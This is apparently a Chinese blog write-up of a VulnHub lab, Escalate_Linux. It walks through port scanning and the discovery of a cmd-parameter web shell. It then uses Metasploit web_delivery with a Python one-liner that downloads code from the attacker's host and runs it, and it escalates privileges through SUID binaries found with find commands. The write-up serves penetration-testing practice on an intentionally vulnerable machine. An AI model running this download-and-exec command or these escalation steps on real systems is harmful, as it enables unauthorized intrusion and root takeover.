首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >记录一次VulnHub 靶场——Escalate_Linux的渗透测试过程

记录一次VulnHub 靶场——Escalate_Linux的渗透测试过程

作者头像
XPcode7
发布2025-10-23 13:46:30
发布2025-10-23 13:46:30
15000
代码可运行
举报
运行总次数:0
代码可运行

0x00 靶场环境搭建

链接:百度网盘 请输入提取码

提取码:nz02

下载完成之后导入vmware或者virtualBox,网卡改为nat模式或仅主机模式(方便信息收集)

0x01 靶机信息收集

通过kali linux扫描本网段发现靶机IP地址

Kali Linux:192.168.94.207

靶机IP地址:192.168.94.212

发现靶机IP之后,直接上Nmap扫描!发现靶机开放了80、111、139、445、2049nfs几个端口

访问靶机80端口之后没发现有什么可利用的信息,于是直接上dirsearch搜索到一个shell.php文件

访问shell.php文件发现有一串提示,通过翻译后得知可以将cmd作为GET参数传递

那么由此我们可以上传一个shell进行反弹回来。

0x02 渗透测试

打开msfconsole控制台使用web_delivery漏洞攻击模块

"web_delivery"漏洞通常指的是通过利用Web应用程序中的漏洞来交付恶意软件或者进行攻击。这种类型的漏洞可能会允许攻击者向受害者的计算机或系统交付恶意软件,或者执行恶意代码

查看目标类型,默认为Python类型,所以我们也可以使用传参来查看靶机存不存在Python环境

靶机存在Python环境,那么我们生成Python环境的反弹shell命令,

"SRVHOST" 通常是指在渗透测试或网络安全领域中使用的一个参数或变量,代表服务主机的 IP 地址或主机名。在一些渗透测试工具(比如 Metasploit)或网络安全工具中,可以通过设置 SRVHOST 来指定服务监听的主机地址。

例如,在使用 Metasploit 搭建一个反向 Shell 的时候,你可能需要指定 SRVHOST 参数来告诉 Metasploit 监听连接的主机地址。这样做可以确保服务只接受来自指定主机的连接请求,而不会接受其他主机的连接

这里得将反弹shell的命令进行url编码,然后使用cmd传参靶机才能接收执行此命令!

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.94.207:8080/NmuALiAL7XOs', context=ssl._create_unverified_context());exec(r.read());"

这里我使用burpsuite进行url编码

使用cmd进行传参,返回kali中弹回了一个session,直接连接这个session得到shell

0x03 靶机提权

又到了经典的提权环节了,我们这里可以先使用Python实现交互式shell

代码语言:javascript
代码运行次数:0
运行
复制
python -c 'import pty;pty.spawn("/bin/bash")'

这里我们可以了解一个知识点:SUID

SUID(Set User ID)是一种用于提升程序权限的特殊权限位。当一个可执行文件的 SUID 位被设置时,该程序将以文件所有者的权限来执行,而不是执行该程序的用户的权限。

SUID 权限通常用于需要以特定用户权限执行的程序,比如一些系统命令或管理工具。例如,passwd 命令通常具有 SUID 权限,因为它需要修改系统密码文件,这是普通用户无法直接操作的。通过 SUID 权限,普通用户可以执行 passwd 命令来修改自己的密码,而无需获取 root 权限。然而,SUID 权限也带来了安全风险,因为恶意用户可能会利用具有 SUID 权限的程序来进行特权提升或执行其他恶意操作。因此,系统管理员需要谨慎地管理具有 SUID 权限的程序,并确保它们没有潜在的安全漏洞。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限

当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?

1、SUID权限仅对二进制程序(binary program)有效;

2、执行者对于该程序需要具有x的可执行权限;

3、本权限仅在执行该程序的过程中有效(run-time);

4、执行者将具有该程序拥有者(owner)的权限。

以下语句可以用来搜索具备SUID权限的程序

代码语言:javascript
代码运行次数:0
运行
复制
find / -perm -u=s -type f 2>/dev/null


find / -user root -perm -4000 -exec ls -ldb {} ;


find / -user root -perm -4000 -print 2>/dev/null

接下来我们可以使用命令来查找具有suid权限的可执行文件,发现在/home/user3目录存在一个shell,进行此目录查看权限发现存在s标志出现在x权限上面,那么我们可以确定这个文件可以进行提权。

运行此shell执行文件,成功提权到root权限

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-03-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 靶场环境搭建
  • 0x01 靶机信息收集
  • 0x02 渗透测试
  • 0x03 靶机提权
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档